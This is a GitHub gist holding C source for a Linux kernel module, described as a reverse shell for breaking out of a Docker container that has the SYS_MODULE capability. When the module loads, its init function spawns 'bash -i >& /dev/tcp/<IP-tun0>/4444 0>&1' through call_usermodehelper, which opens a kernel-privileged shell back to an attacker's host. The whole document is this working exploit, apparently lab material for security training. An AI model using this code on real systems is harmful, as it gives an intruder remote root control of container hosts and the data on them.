Skip to content

Instantly share code, notes, and snippets.

@Yuma-Tsushima07
Last active September 19, 2023 19:12
Show Gist options
  • Select an option

  • Save Yuma-Tsushima07/39300bedee8f680d0780819594528dff to your computer and use it in GitHub Desktop.

Select an option

Save Yuma-Tsushima07/39300bedee8f680d0780819594528dff to your computer and use it in GitHub Desktop.
Reverse-shell C code for SYS_MODULE based docker breakout
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/<IP-tun0>/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment